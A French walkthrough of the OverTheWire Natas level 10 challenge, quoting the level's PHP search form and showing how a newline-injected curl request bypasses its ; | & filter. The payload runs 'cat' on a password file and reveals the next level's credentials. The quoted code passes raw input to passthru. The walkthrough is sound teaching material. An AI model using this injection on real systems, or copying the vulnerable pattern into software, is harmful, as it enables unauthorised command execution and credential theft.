Natas 10
Level Goal
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL: http://natas10.natas.labs.overthewire.org
En se connectant à la page du challenge (curl http://natas10.natas.labs.overthewire.org -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
) on a un autre formulaire de recherche :
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
Si l'on consulte le code source associé on a :
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
La faille est la même que pour l'épreuve d'avant mais la valeur du champ needle
est filtrée de manière à empêcher l'utilisation de certains caractères permettant d'exécuter une seconde commande derrière la première : ;
, |
et &
.
Essayons d'envoyer 2 commandes en rajoutant un saut de ligne au champ que l'on envoie :
curl -d $'needle=\ncat /etc/natas_webpass/natas11 #' -X POST http://natas10.natas.labs.overthewire.org -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Et on obtient la réponse :
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Note: Lors de l'utilisation de la dernière commande, le saut de ligne
\n
est encodé de la bonne manière grâce à la présence du caractère$
juste avant le début de la chaîne de caractères